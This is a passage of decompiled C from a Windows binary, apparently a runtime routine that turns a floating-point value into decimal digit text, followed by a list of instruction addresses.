				if(_t683 != 0) {
					__eflags = _t683 - 0x7fff;
					if(_t683 != 0x7fff) {
						goto L25;
					} else {
						_t512 = _a8;
						_t603 = 0x80000000;
						 *_t528 = 1;
						_t597 = _a4;
						__eflags = _t512 - 0x80000000;
						if(_t512 != 0x80000000) {
							L10:
							__eflags = _t512 & 0x40000000;
							if((_t512 & 0x40000000) != 0) {
								goto L12;
							} else {
								_push(0x416518);
								goto L22;
							}
						} else {
							__eflags = _t597;
							if(_t597 == 0) {
								L12:
								__eflags = _v132;
								if(_v132 == 0) {
									L16:
									__eflags = _t512 - _t603;
									if(_t512 != _t603) {
										goto L21;
									} else {
										__eflags = _t597;
										if(_t597 != 0) {
											goto L21;
										} else {
											_push(0x416528);
											goto L19;
										}
									}
								} else {
									__eflags = _t512 - 0xc0000000;
									if(_t512 != 0xc0000000) {
										goto L16;
									} else {
										__eflags = _t597;
										if(_t597 != 0) {
											L21:
											_push(0x416530);
											L22:
											_push(0x16);
											_push(_t528 + 4);
											_t514 = E00399A0C();
											__eflags = _t514;
											if(_t514 != 0) {
												goto L189;
											} else {
												 *((char*)(_t528 + 3)) = 6;
												goto L24;
											}
										} else {
											_push(0x416520);
											L19:
											_push(0x16);
											_push(_t528 + 4);
											_t514 = E00399A0C();
											__eflags = _t514;
											if(_t514 != 0) {
												L189:
												_push(0);
												_push(0);
												_push(0);
												_push(0);
												_push(0);
												E00399DEC(_t514, 0, _t603);
												asm("int3");
												_push(_t709);
												_t598 = _v168;
												_t516 = 0;
												__eflags = _t598 & 0x00000010;
												if((_t598 & 0x00000010) != 0) {
													_t516 = 0x80;
												}
												_push(0);
												_push(_t683);
												_push(_t631);
												__eflags = _t598 & 0x00000008;
												if((_t598 & 0x00000008) != 0) {
													_t516 = _t516 | 0x00000200;
													__eflags = _t516;
												}
												__eflags = _t598 & 0x00000004;
												if((_t598 & 0x00000004) != 0) {
													_t516 = _t516 | 0x00000400;
													__eflags = _t516;
												}
												__eflags = _t598 & 0x00000002;
												if((_t598 & 0x00000002) != 0) {
													_t516 = _t516 | 0x00000800;
													__eflags = _t516;
												}
												__eflags = _t598 & 0x00000001;
												if((_t598 & 0x00000001) != 0) {
													_t516 = _t516 | 0x00001000;
													__eflags = _t516;
												}
												__eflags = _t598 & 0x00080000;
												if((_t598 & 0x00080000) != 0) {
													_t516 = _t516 | 0x00000100;
													__eflags = _t516;
												}
												_t628 = _t598 & 0x00000300;
												__eflags = _t628;
												if(_t628 != 0) {
													__eflags = _t628 - 0x100;
													if(_t628 == 0x100) {
														_t516 = _t516 | 0x00002000;
														__eflags = _t516;
													} else {
														__eflags = _t628 - 0x200;
														if(_t628 == 0x200) {
															_t516 = _t516 | 0x00004000;
														} else {
															__eflags = _t628 - 0x300;
															if(_t628 == 0x300) {
																_t516 = _t516 | 0x00006000;
															}
														}
													}
												}
												_t599 = _t598 & 0x03000000;
												__eflags = _t599 - 0x1000000;
												if(_t599 == 0x1000000) {
													_t517 = _t516 | 0x00008040;
													__eflags = _t517;
													return _t517;
												}
												__eflags = _t599 - 0x2000000;
												if(_t599 == 0x2000000) {
													_t518 = _t516 | 0x00000040;
													__eflags = _t518;
													return _t518;
												} else {
													__eflags = _t599 - 0x3000000;
													if(_t599 != 0x3000000) {
														return _t516;
													} else {
														_t519 = _t516 | 0x00008000;
														__eflags = _t519;
														return _t519;
													}
												}
											} else {
												 *((char*)(_t528 + 3)) = 5;
												L24:
												_t393 = 0;
												goto L183;
											}
										}
									}
								}
							} else {
								goto L10;
							}
						}
					}
				} else {
					if(_t631 != 0 || _a4 != _t631) {
						L25:
						_t529 = 0;
						_v30 = _t631;
						_t633 = 0x41ed40;
						_v26 = _t683;
						_v92 = 5;
						_v116 = 0xbffd;
						_v88 = 0x3fbf;
						_t547 = 0xecbced0c + (_t683 & 0x0000ffff) * 0x00004d10 + (((_t683 & 0x0000ffff) >> 0x00000008) + (_t631 >> 0x00000018) * 0x00000002) * 0x0000004d >> 0x00000010 & 0x0000ffff;
						_v34 = _a4;
						_v36 = 0;
						_t380 =  ~_t547;
						_v76 = _t547;
						_v72 = _t380;
						__eflags = _t380;
						if(__eflags == 0) {
							L90:
							_t603 = _v32;
							_t684 = _v36;
						} else {
							if(__eflags < 0) {
								_t380 =  ~_t380;
								_t633 = 0x41eea0;
								_v72 = _t380;
								__eflags = _t380;
							}
							if(__eflags == 0) {
								goto L90;
							} else {
								_t684 = _v36;
								_t603 = _v32;
								_v68 = _t684;
								do {
									_v72 = _v72 >> 3;
									_t633 = _t633 + 0x54;
									_v112 = _t633;
									_t470 = _t380 & 0x00000007;
									__eflags = _t470;
									if(_t470 != 0) {
										_t582 = _t470 * 0xc + _t633;
										_v108 = _t582;
										__eflags =  *_t582 - 0x8000;
										if( *_t582 >= 0x8000) {
											_t582 =  &_v64;
											_v108 = _t582;
											asm("movsd");
											asm("movsd");
											asm("movsd");
											_t52 =  &_v62;
											 *_t52 = _v62 - 1;
											__eflags =  *_t52;
										}
										_t665 =  *(_t582 + 0xa) & 0x0000ffff;
										_t472 = _v26;
										_v96 = _t665;
										_t666 = _t665 & 0x00007fff;
										_v96 = _v96 ^ _t472;
										_t473 = _t472 & 0x00007fff;
										_v96 = _v96 & 0x00008000;
										_v84 = _t473;
										_v100 = _t666;
										_t667 = _t473 + _t666 & 0x0000ffff;
										_t475 = _v84;
										__eflags = _t475 - 0x7fff;
										_t684 = _v68;
										_v128 = _t529;
										_v20 = _t529;
										_v16 = _t529;
										_v12 = _t529;
										_v80 = _t667;
										if(_t475 >= 0x7fff) {
											L84:
											__eflags = _v96;
											_t480 = ((0 | _v96 == 0x00000000) - 0x00000001 & 0x80000000) + 0x7fff8000;
											__eflags = _t480;
											_v28 = _t480;
											goto L85;
										} else {
											__eflags = _v100 - 0x7fff;
											_t584 = _v108;
											if(_v100 >= 0x7fff) {
												goto L84;
											} else {
												__eflags = _t667 - _v116;
												if(_t667 > _v116) {
													goto L84;
												} else {
													__eflags = _t667 - _v88;
													if(_t667 > _v88) {
														__eflags = _t475;
														if(_t475 != 0) {
															L43:
															__eflags = _v100;
															if(_v100 != 0) {
																L47:
																_t481 = _t529;
																_t621 =  &_v16;
																_t700 = 5;
																_v136 = _t481;
																_v84 = _t700;
																do {
																	_v100 = _t700;
																	__eflags = _t700;
																	if(_t700 > 0) {
																		_t482 =  &_v36 + _t481 * 2;
																		_v140 = _t482;
																		_v68 = _t584 + 8;
																		_t706 = _v100;
																		_t585 = _v68;
																		do {
																			_t669 = ( *_t482 & 0x0000ffff) * ( *_t585 & 0x0000ffff);
																			_t484 =  *(_t621 - 4);
																			_v124 = _t529;
																			_t586 = _t484 + _t669;
																			__eflags = _t586 - _t484;
																			_v100 = _t586;
																			_t485 = _t586;
																			if(_t586 < _t484) {
																				L52:
																				_t588 = 1;
																			} else {
																				__eflags = _t485 - _t669;
																				if(_t485 >= _t669) {
																					_t588 = _v124;
																				} else {
																					goto L52;
																				}
																			}
																			 *(_t621 - 4) = _t485;
																			__eflags = _t588;
																			if(_t588 != 0) {
																				 *_t621 =  *_t621 + 1;
																				__eflags =  *_t621;
																			}
																			_t482 =  &(_v140[1]);
																			_t585 = _v68 - 2;
																			_v140 = _t482;
																			_t706 = _t706 - 1;
																			_v68 = _t585;
																			__eflags = _t706;
																		} while (_t706 > 0);
																		_t584 = _v108;
																		_t700 = _v84;
																		_t481 = _v136;
																	}
																	_t621 =  &(_t621[0]);
																	_t481 = _t481 + 1;
																	_t700 = _t700 - 1;
																	_v136 = _t481;
																	_v84 = _t700;
																	__eflags = _t700;
																} while (_t700 > 0);
																_t487 = _v12;
																_t671 = _v80 + 0xc002;
																_t701 = _v20;
																_v68 = _t487;
																__eflags = _t671;
																if(_t671 <= 0) {
																	L63:
																	_t671 = _t671 + 0xffff;
																	__eflags = _t671;
																	if(_t671 >= 0) {
																		goto L70;
																	} else {
																		_t538 = _v68;
																		_t501 =  ~_t671 & 0x0000ffff;
																		_v84 = _t501;
																		_v80 = _t671 + _t501;
																		__eflags = 1;
																		_t674 = _v128;
																		do {
																			__eflags = _v20 & 1;
																			if((_v20 & 1) != 0) {
																				_t674 = _t674 + 1;
																				__eflags = _t674;
																			}
																			_t592 = _v16;
																			_v68 = _t592;
																			_v68 = _v68 >> 1;
																			_v68 = _v68 | _t538 << 0x0000001f;
																			_t538 = _t538 >> 1;
																			_t701 = _t701 >> 0x00000001 | _t592 << 0x0000001f;
																			_t137 =  &_v84;
																			 *_t137 = _v84 - 1;
																			__eflags =  *_t137;
																			_v12 = _t538;
																			_v16 = _v68;
																			_v20 = _t701;
																		} while ( *_t137 != 0);
																		_v68 = _t538;
																		__eflags = _t674;
																		_t671 = _v80;
																		_t529 = 0;
																		if(_t674 == 0) {
																			goto L70;
																		} else {
																			_t489 = _t701 | 1;
																			_v20 = _t489;
																			_t701 = _v20;
																		}
																	}
																} else {
																	while(1) {
																		__eflags = _t487;
																		if(_t487 < 0) {
																			break;
																		}
																		_t506 = _v16;
																		_t508 = _t506 + _t506 | _t701 >> 0x0000001f;
																		_t701 = _t701 + _t701;
																		_v16 = _t508;
																		_v20 = _t701;
																		_t487 = _v68 + _v68 | _t506 >> 0x0000001f;
																		_t671 = _t671 + 0xffff;
																		_v68 = _t487;
																		_v12 = _t487;
																		__eflags = _t671;
																		if(_t671 > 0) {
																			continue;
																		}
																		break;
																	}
																	__eflags = _t671;
																	if(_t671 > 0) {
																		L70:
																		_t489 = _v20;
																	} else {
																		goto L63;
																	}
																}
																__eflags = _t489 - 0x8000;
																if(_t489 > 0x8000) {
																	L73:
																	_t490 = _v18;
																	__eflags = _t490 - 0xffffffff;
																	if(_t490 != 0xffffffff) {
																		_t491 = _t490 + 1;
																		__eflags = _t491;
																		_v18 = _t491;
																		goto L81;
																	} else {
																		_t495 = _v14;
																		_v18 = _t529;
																		__eflags = _t495 - 0xffffffff;
																		if(_t495 != 0xffffffff) {
																			_t496 = _t495 + 1;
																			__eflags = _t496;
																			_v14 = _t496;
																		} else {
																			_t497 = _v10;
																			_v14 = _t529;
																			__eflags = _t497 - 0xffff;
																			if(_t497 != 0xffff) {
																				_v10 = _t497 + 1;
																			} else {
																				_v10 = 0x8000;
																				_t671 = _t671 + 1;
																			}
																		}
																		_t591 = _v12;
																	}
																} else {
																	__eflags = (_t701 & 0x0001ffff) - 0x18000;
																	if((_t701 & 0x0001ffff) != 0x18000) {
																		L81:
																		_t591 = _v68;
																	} else {
																		goto L73;
																	}
																}
																__eflags = _t671 - 0x7fff;
																if(_t671 >= 0x7fff) {
																	goto L84;
																} else {
																	_v36 = _v18;
																	_v34 = _v16;
																	_t684 = _v36;
																	_v30 = _t591;
																	_t603 = _v32;
																	_v26 = _t671 | _v96;
																}
															} else {
																__eflags =  *(_t584 + 8) & 0x7fffffff;
																_v80 = _t667 + 1;
																if(( *(_t584 + 8) & 0x7fffffff) != 0) {
																	goto L47;
																} else {
																	__eflags =  *((intOrPtr*)(_t584 + 4)) - _t529;
																	if( *((intOrPtr*)(_t584 + 4)) != _t529) {
																		goto L47;
																	} else {
																		__eflags =  *_t584 - _t529;
																		if( *_t584 == _t529) {
																			goto L37;
																		} else {
																			goto L47;
																		}
																	}
																}
															}
															goto L86;
														} else {
															_t667 = _t667 + 1;
															__eflags = _v28 & 0x7fffffff;
															_v80 = _t667;
															if((_v28 & 0x7fffffff) != 0) {
																goto L43;
															} else {
																__eflags = _t603;
																if(_t603 != 0) {
																	goto L43;
																} else {
																	__eflags = _t684;
																	if(_t684 != 0) {
																		goto L43;
																	} else {
																		_v26 = 0;
																	}
																}
															}
														}
													} else {
														L37:
														_v28 = _t529;
														L85:
														_t684 = _t529;
														_t603 = _t529;
														_v36 = _t684;
														_v32 = _t603;
														L86:
														_v68 = _t684;
													}
												}
											}
										}
										_t633 = _v112;
									}
									_t380 = _v72;
									__eflags = _t380;
								} while (_t380 != 0);
								_t547 = _v76;
							}
						}
						_t382 = _v28 >> 0x10;
						__eflags = _t382 - 0x3fff;
						if(_t382 >= 0x3fff) {
							_v124 = _t529;
							_v76 = _t547 + 1;
							_t571 = _t382;
							_t429 = _v42;
							_v20 = _t529;
							_v16 = _t529;
							_v72 = (_t429 ^ _t571) & 0x00008000;
							_t430 = _t429 & 0x00007fff;
							_v12 = _t529;
							_t572 = _t571 & 0x00007fff;
							_v128 = _t430;
							_t654 = _t430 + _t572 & 0x0000ffff;
							_v80 = _t654;
							__eflags = _t572 - 0x7fff;
							if(_t572 >= 0x7fff) {
								L144:
								__eflags = _v72;
								_t437 = ((0 | _v72 == 0x00000000) - 0x00000001 & 0x80000000) + 0x7fff8000;
								__eflags = _t437;
								_v28 = _t437;
								goto L145;
							} else {
								_t438 = _v128;
								__eflags = _t438 - _v104;
								if(_t438 >= _v104) {
									goto L144;
								} else {
									__eflags = _t654 - _v116;
									if(_t654 > _v116) {
										goto L144;
									} else {
										__eflags = _t654 - _v88;
										if(_t654 > _v88) {
											__eflags = _t572;
											if(_t572 != 0) {
												L102:
												__eflags = _t438;
												if(_t438 != 0) {
													L106:
													_t613 = _t529;
													_t573 =  &_v16;
													_v84 = _t613;
													_t439 = 5;
													do {
														_t694 = _t439;
														__eflags = _t439;
														if(_t439 > 0) {
															_t463 =  &_v44;
															_t656 =  &_v36 + _t613 * 2;
															_v116 = _t463;
															_v88 = _t656;
															do {
																_t615 = ( *_t463 & 0x0000ffff) * ( *_t656 & 0x0000ffff);
																_t465 =  *((intOrPtr*)(_t573 - 4));
																_v104 = _t529;
																_t657 = _t465 + _t615;
																__eflags = _t657 - _t465;
																if(_t657 < _t465) {
																	L111:
																	_t467 = 1;
																} else {
																	__eflags = _t657 - _t615;
																	if(_t657 >= _t615) {
																		_t467 = _v104;
																	} else {
																		goto L111;
																	}
																}
																 *((intOrPtr*)(_t573 - 4)) = _t657;
																__eflags = _t467;
																if(_t467 != 0) {
																	 *_t573 =  *_t573 + 1;
																	__eflags =  *_t573;
																}
																_t656 = _v88 + 2;
																_t463 = _v116 - 2;
																_v88 = _t656;
																_t694 = _t694 - 1;
																_v116 = _t463;
																__eflags = _t694;
															} while (_t694 > 0);
															_t613 = _v84;
															_t439 = _v92;
														}
														_t573 =  &(_t573[0]);
														_t613 = _t613 + 1;
														_t439 = _t439 - 1;
														_v84 = _t613;
														_v92 = _t439;
														__eflags = _t439;
													} while (_t439 > 0);
													_t695 = _v12;
													_t660 = _v80 + 0xc002;
													__eflags = _t660;
													if(_t660 <= 0) {
														_t616 = _v20;
														goto L131;
													} else {
														_t537 = _v20;
														_v108 = _t537;
														while(1) {
															__eflags = _t695;
															if(_t695 < 0) {
																break;
															}
															_t459 = _v16;
															_v16 = _t459 + _t459 | _t537 >> 0x0000001f;
															_t537 = _t537 + _t537;
															_v20 = _t537;
															_t695 = _t695 + _t695 | _t459 >> 0x0000001f;
															_t660 = _t660 + 0xffff;
															_v12 = _t695;
															__eflags = _t660;
															if(_t660 > 0) {
																continue;
															}
															break;
														}
														_v108 = _t537;
														_t616 = _v108;
														_t529 = 0;
														__eflags = _t660;
														if(_t660 <= 0) {
															L131:
															_t660 = _t660 + 0xffff;
															__eflags = _t660;
															if(_t660 >= 0) {
																goto L123;
															} else {
																_t454 =  ~_t660 & 0x0000ffff;
																_t662 = _t660 + _t454;
																__eflags = _t662;
																_v92 = _t454;
																_v80 = _t662;
																_t663 = _v124;
																do {
																	__eflags = _v20 & 0x00000001;
																	if((_v20 & 0x00000001) != 0) {
																		_t663 = _t663 + 1;
																		__eflags = _t663;
																	}
																	_t534 = _v16;
																	_t536 = _t534 >> 0x00000001 | _t695 << 0x0000001f;
																	_t616 = _t616 >> 0x00000001 | _t534 << 0x0000001f;
																	_t695 = _t695 >> 1;
																	_t251 =  &_v92;
																	 *_t251 = _v92 - 1;
																	__eflags =  *_t251;
																	_v16 = _t536;
																	_v20 = _t616;
																} while ( *_t251 != 0);
																__eflags = _t663;
																_v12 = _t695;
																_t660 = _v80;
																_t529 = 0;
																if(_t663 == 0) {
																	goto L123;
																} else {
																	_t574 = _t616 | 1;
																	_v20 = _t574;
																	_t616 = _v20;
																	goto L124;
																}
															}
															goto L146;
														} else {
															L123:
															_t574 = _v20;
														}
													}
													L124:
													__eflags = _t574 - 0x8000;
													if(_t574 > 0x8000) {
														L126:
														_t442 = _v18;
														__eflags = _t442 - 0xffffffff;
														if(_t442 != 0xffffffff) {
															_t443 = _t442 + 1;
															__eflags = _t443;
															_v18 = _t443;
														} else {
															_t447 = _v14;
															_v18 = _t529;
															__eflags = _t447 - 0xffffffff;
															if(_t447 != 0xffffffff) {
																_t448 = _t447 + 1;
																__eflags = _t448;
																_v14 = _t448;
															} else {
																_t449 = _v10;
																_v14 = _t529;
																__eflags = _t449 - 0xffff;
																if(_t449 != 0xffff) {
																	_v10 = _t449 + 1;
																} else {
																	_t660 = _t660 + 1;
																	_v10 = 0x8000;
																}
															}
															_t695 = _v12;
														}
													} else {
														__eflags = (_t616 & 0x0001ffff) - 0x18000;
														if((_t616 & 0x0001ffff) == 0x18000) {
															goto L126;
														}
													}
													__eflags = _t660 - 0x7fff;
													if(_t660 >= 0x7fff) {
														goto L144;
													} else {
														_v36 = _v18;
														_v34 = _v16;
														_v30 = _t695;
														_t603 = _v32;
														_t684 = _v36;
														_v26 = _t660 | _v72;
													}
												} else {
													__eflags = _v44 & 0x7fffffff;
													_v80 = _t654 + 1;
													if((_v44 & 0x7fffffff) != 0) {
														goto L106;
													} else {
														__eflags = _v48;
														if(_v48 != 0) {
															goto L106;
														} else {
															__eflags = _v52;
															if(_v52 == 0) {
																goto L96;
															} else {
																goto L106;
															}
														}
													}
												}
											} else {
												_t654 = _t654 + 1;
												__eflags = _v28 & 0x7fffffff;
												_v80 = _t654;
												if((_v28 & 0x7fffffff) != 0) {
													goto L102;
												} else {
													__eflags = _t603;
													if(_t603 != 0) {
														goto L102;
													} else {
														__eflags = _t684;
														if(_t684 != 0) {
															goto L102;
														} else {
															_v26 = 0;
														}
													}
												}
											}
										} else {
											L96:
											_v28 = _t529;
											L145:
											_t684 = _t529;
											_t603 = _t529;
										}
									}
								}
							}
						}
						L146:
						__eflags = _a20 & 0x00000001;
						_t548 = _v120;
						_t383 = _v76;
						_t635 = _a16;
						 *_t548 = _t383;
						if((_a20 & 0x00000001) == 0) {
							_v76 = _t635;
							goto L151;
						} else {
							_t635 = _t635 + _t383;
							_v76 = _t635;
							__eflags = _t635;
							if(_t635 > 0) {
								L151:
								_t384 = 0x15;
								__eflags = _t635 - _t384;
								if(_t635 > _t384) {
									_v76 = _t384;
								}
								__eflags = 0;
								_v104 = (_v28 >> 0x10) - 0x3ffe;
								_v26 = 0;
								_t530 = _v28;
								_t639 = 8;
								do {
									_t387 = _t684 >> 0x1f;
									_t684 = _t684 + _t684;
									_t530 = _t530 + _t530 | _t603 >> 0x0000001f;
									_t603 = _t603 + _t603 | _t387;
									_v36 = _t684;
									_v28 = _t530;
									_t639 = _t639 - 1;
									__eflags = _t639;
								} while (_t639 != 0);
								_t640 = _v104;
								_v72 = _t530;
								_v32 = _t603;
								_v68 = _t684;
								_t529 = 0;
								__eflags = _t640;
								if(_t640 < 0) {
									_t649 =  ~_t640 & 0x000000ff;
									__eflags = _t649;
									if(_t649 > 0) {
										_t533 = _v72;
										do {
											_t420 = _t533 << 0x1f;
											_t684 = _t684 >> 0x00000001 | _t603 << 0x0000001f;
											_t533 = _t533 >> 1;
											_t603 = _t603 >> 0x00000001 | _t420;
											_t649 = _t649 - 1;
											_v28 = _t533;
											_v36 = _t684;
											__eflags = _t649;
										} while (_t649 > 0);
										_v72 = _t533;
										_t529 = 0;
										__eflags = 0;
										_v32 = _t603;
										_v68 = _t684;
									}
								}
								_t685 = _v120;
								_t389 = _v76 + 1;
								_v88 = _t389;
								_t641 =  &(_t685[1]);
								_v104 = _t641;
								_t551 = _t641;
								_v92 = _t551;
								__eflags = _t389;
								if(_t389 > 0) {
									while(1) {
										asm("movsd");
										asm("movsd");
										asm("movsd");
										_t644 = _v68;
										_t645 = _t644 + _t644;
										_t606 = _t603 + _t603 | _t644 >> 0x0000001f;
										_t646 = _t645 + _t645;
										_t608 = _t606 + _t606 | _t645 >> 0x0000001f;
										_t407 = _v64;
										_t691 = (_v72 + _v72 | _t603 >> 0x0000001f) + (_v72 + _v72 | _t603 >> 0x0000001f) | _t606 >> 0x0000001f;
										_t562 = _t407 + _t646;
										_v76 = _t562;
										__eflags = _t562 - _t646;
										if(_t562 < _t646) {
											goto L163;
										}
										__eflags = _t562 - _t407;
										if(_t562 < _t407) {
											goto L163;
										}
										L168:
										_t409 = _v60;
										_t647 = _t409 + _t608;
										__eflags = _t647 - _t608;
										if(_t647 < _t608) {
											L170:
											_t691 = _t691 + 1;
											__eflags = _t691;
										} else {
											__eflags = _t647 - _t409;
											if(_t647 < _t409) {
												goto L170;
											}
										}
										_t610 = _v76 + _v76;
										_v68 = _t610;
										_v36 = _t610;
										_t603 = _t647 + _t647 | _t562 >> 0x0000001f;
										_v32 = _t603;
										_t413 = _t691 + _v56 + _t691 + _v56 | _t647 >> 0x0000001f;
										_t567 = _v92;
										_v28 = _t413;
										_v25 = _t529;
										 *_t567 = (_t413 >> 0x18) + 0x30;
										_t551 = _t567 + 1;
										_t417 = _v88 - 1;
										_v92 = _t551;
										_v88 = _t417;
										__eflags = _t417;
										if(_t417 > 0) {
											_v72 = _v28;
											continue;
										}
										_t685 = _v120;
										_t641 = _v104;
										goto L174;
										L163:
										_t408 = _t608 + 1;
										_t563 = _t529;
										__eflags = _t408 - _t608;
										if(_t408 < _t608) {
											L165:
											_t563 = 1;
											__eflags = 1;
										} else {
											__eflags = _t408 - 1;
											if(_t408 < 1) {
												goto L165;
											}
										}
										__eflags = _t563;
										_t608 = _t408;
										_t562 = _v76;
										if(_t563 != 0) {
											_t691 = _t691 + 1;
											__eflags = _t691;
										}
										goto L168;
									}
								}
								L174:
								_t552 = _t551 - 2;
								__eflags =  *((intOrPtr*)(_t551 - 1)) - 0x35;
								if( *((intOrPtr*)(_t551 - 1)) < 0x35) {
									while(1) {
										__eflags = _t552 - _t641;
										if(_t552 < _t641) {
											break;
										}
										__eflags =  *_t552 - 0x30;
										if( *_t552 == 0x30) {
											_t552 = _t552 - 1;
											__eflags = _t552;
											continue;
										}
										break;
									}
									__eflags = _t552 - _t641;
									if(_t552 >= _t641) {
										goto L182;
									} else {
										_t548 = _v120;
										 *_t548 = 0;
										__eflags = _v132 - 0x8000;
										 *((char*)(_t548 + 2)) = ((0x8000 | _v132 != 0x00008000) - 0x00000001 & 0x0000000d) + 0x20;
										_t393 = 1;
										 *((char*)(_t548 + 3)) = 1;
										 *_t641 = 0x30;
										goto L149;
									}
								} else {
									while(1) {
										__eflags = _t552 - _t641;
										if(_t552 < _t641) {
											break;
										}
										__eflags =  *_t552 - 0x39;
										if( *_t552 == 0x39) {
											 *_t552 = 0x30;
											_t552 = _t552 - 1;
											__eflags = _t552;
											continue;
										}
										break;
									}
									__eflags = _t552 - _t641;
									if(_t552 < _t641) {
										_t552 = _t552 + 1;
										 *_t685 =  *_t685 + 1;
										__eflags =  *_t685;
									}
									 *_t552 =  *_t552 + 1;
									__eflags =  *_t552;
									L182:
									_t391 = _v120;
									_t554 = _t552 - _t391 - 3;
									_t391[0] = _t554;
									 *( &(_t391[1]) + _t554) = _t529;
									_t393 = 1;
									__eflags = 1;
								}
							} else {
								 *_t548 = 0;
								__eflags = _v132 - 0x8000;
								 *((char*)(_t548 + 2)) = ((0x8000 | _v132 != 0x00008000) - 0x00000001 & 0x0000000d) + 0x20;
								_t393 = 1;
								__eflags = 1;
								 *((char*)(_t548 + 3)) = 1;
								 *((char*)(_t548 + 4)) = 0x30;
								L149:
								 *(_t548 + 5) = _t529;
							}
						}
					} else {
						 *((char*)(_t528 + 3)) = 1;
						 *_t528 = 0;
						 *((char*)(_t528 + 2)) = ((0x8000 | _t601 != 0x00008000) - 0x00000001 & 0x0000000d) + 0x20;
						_t393 = 1;
						 *((short*)(_t528 + 4)) = 0x30;
					}
					L183:
					_pop(_t642);
					_pop(_t686);
					_pop(_t532);
					return E00394B44(_t393, _t532, _v8 ^ _t709, _t603, _t642, _t686);
				}
			}

0x0039e3a7
0x0039e3b1
0x0039e3bf
0x0039e3c2
0x0039e3c4
0x0039e3d0
0x0039e3d2
0x0039e3d9
0x0039e3e0
0x0039e3e3
0x0039e3ea
0x0039e3f2
0x0039e3ec
0x0039e3ec
0x0039e3ec
0x0039e3f6
0x0039e3fc
0x0039e438
0x0039e43b
0x00000000
0x0039e441
0x0039e441
0x0039e444
0x0039e449
0x0039e44c
0x0039e44f
0x0039e451
0x0039e457
0x0039e457
0x0039e45c
0x00000000
0x0039e45e
0x0039e45e
0x00000000
0x0039e45e
0x0039e453
0x0039e453
0x0039e455
0x0039e465
0x0039e465
0x0039e46a
0x0039e47e
0x0039e47e
0x0039e480
0x00000000
0x0039e482
0x0039e482
0x0039e484
0x00000000
0x0039e486
0x0039e486
0x00000000
0x0039e486
0x0039e484
0x0039e46c
0x0039e46c
0x0039e471
0x00000000
0x0039e473
0x0039e473
0x0039e475
0x0039e4a7
0x0039e4a7
0x0039e4ac
0x0039e4af
0x0039e4b1
0x0039e4b2
0x0039e4ba
0x0039e4bc
0x00000000
0x0039e4c2
0x0039e4c2
0x00000000
0x0039e4c2
0x0039e477
0x0039e477
0x0039e48b
0x0039e48e
0x0039e490
0x0039e491
0x0039e499
0x0039e49b
0x0039ed5e
0x0039ed60
0x0039ed61
0x0039ed62
0x0039ed63
0x0039ed64
0x0039ed65
0x0039ed6a
0x0039ed6b
0x0039ed6e
0x0039ed71
0x0039ed73
0x0039ed76
0x0039ed78
0x0039ed78
0x0039ed7d
0x0039ed7e
0x0039ed7f
0x0039ed85
0x0039ed88
0x0039ed8a
0x0039ed8a
0x0039ed8a
0x0039ed8c
0x0039ed8f
0x0039ed91
0x0039ed91
0x0039ed91
0x0039ed96
0x0039ed99
0x0039ed9b
0x0039ed9b
0x0039ed9b
0x0039eda0
0x0039eda3
0x0039eda5
0x0039eda5
0x0039eda5
0x0039edaf
0x0039edb5
0x0039edb7
0x0039edb7
0x0039edb7
0x0039edc0
0x0039edc0
0x0039edc2
0x0039edc4
0x0039edc6
0x0039edde
0x0039edde
0x0039edc8
0x0039edc8
0x0039edca
0x0039edd7
0x0039edcc
0x0039edcc
0x0039edce
0x0039edd0
0x0039edd0
0x0039edce
0x0039edca
0x0039edc6
0x0039ede9
0x0039eded
0x0039edf3
0x0039ee0d
0x0039ee0d
0x00000000
0x0039ee0d
0x0039edf5
0x0039edfb
0x0039ee08
0x0039ee08
0x0039ee0c
0x0039edfd
0x0039edfd
0x0039edff
0x0039ee13
0x0039ee01
0x0039ee01
0x0039ee01
0x0039ee07
0x0039ee07
0x0039edff
0x0039e4a1
0x0039e4a1
0x0039e4c6
0x0039e4c6
0x00000000
0x0039e4c6
0x0039e49b
0x0039e475
0x0039e471
0x00000000
0x00000000
0x00000000
0x0039e455
0x0039e451
0x0039e3fe
0x0039e400
0x0039e4cd
0x0039e4da
0x0039e4dc
0x0039e4e4
0x0039e4e7
0x0039e4eb
0x0039e4f5
0x0039e505
0x0039e516
0x0039e51c
0x0039e521
0x0039e528
0x0039e52a
0x0039e52d
0x0039e530
0x0039e532
0x0039e867
0x0039e867
0x0039e86a
0x0039e538
0x0039e538
0x0039e53a
0x0039e541
0x0039e544
0x0039e547
0x0039e547
0x0039e549
0x00000000
0x0039e54f
0x0039e54f
0x0039e552
0x0039e555
0x0039e558
0x0039e558
0x0039e55c
0x0039e55f
0x0039e562
0x0039e562
0x0039e565
0x0039e573
0x0039e575
0x0039e578
0x0039e57b
0x0039e582
0x0039e585
0x0039e588
0x0039e589
0x0039e58a
0x0039e58b
0x0039e58b
0x0039e58b
0x0039e58b
0x0039e58e
0x0039e597
0x0039e59a
0x0039e59d
0x0039e5a3
0x0039e5a6
0x0039e5ab
0x0039e5ae
0x0039e5b3
0x0039e5b7
0x0039e5ba
0x0039e5bd
0x0039e5c0
0x0039e5c3
0x0039e5c6
0x0039e5c9
0x0039e5cc
0x0039e5cf
0x0039e5d2
0x0039e830
0x0039e832
0x0039e83f
0x0039e83f
0x0039e844
0x00000000
0x0039e5d8
0x0039e5dd
0x0039e5e1
0x0039e5e4
0x00000000
0x0039e5ea
0x0039e5ea
0x0039e5ee
0x00000000
0x0039e5f4
0x0039e5f4
0x0039e5f8
0x0039e602
0x0039e605
0x0039e627
0x0039e627
0x0039e62c
0x0039e644
0x0039e646
0x0039e648
0x0039e64b
0x0039e64c
0x0039e652
0x0039e655
0x0039e655
0x0039e658
0x0039e65a
0x0039e65f
0x0039e665
0x0039e66b
0x0039e66e
0x0039e671
0x0039e674
0x0039e67a
0x0039e67d
0x0039e680
0x0039e683
0x0039e686
0x0039e688
0x0039e68b
0x0039e68d
0x0039e693
0x0039e695
0x0039e68f
0x0039e68f
0x0039e691
0x0039e698
0x00000000
0x00000000
0x00000000
0x0039e691
0x0039e69b
0x0039e69e
0x0039e6a0
0x0039e6a2
0x0039e6a2
0x0039e6a2
0x0039e6ae
0x0039e6b1
0x0039e6b4
0x0039e6ba
0x0039e6bb
0x0039e6be
0x0039e6be
0x0039e6c2
0x0039e6c5
0x0039e6c8
0x0039e6c8
0x0039e6ce
0x0039e6d1
0x0039e6d2
0x0039e6d3
0x0039e6d9
0x0039e6dc
0x0039e6dc
0x0039e6e7
0x0039e6ea
0x0039e6f0
0x0039e6f3
0x0039e6f6
0x0039e6f9
0x0039e736
0x0039e73b
0x0039e73d
0x0039e740
0x00000000
0x0039e742
0x0039e742
0x0039e74b
0x0039e750
0x0039e753
0x0039e756
0x0039e757
0x0039e75a
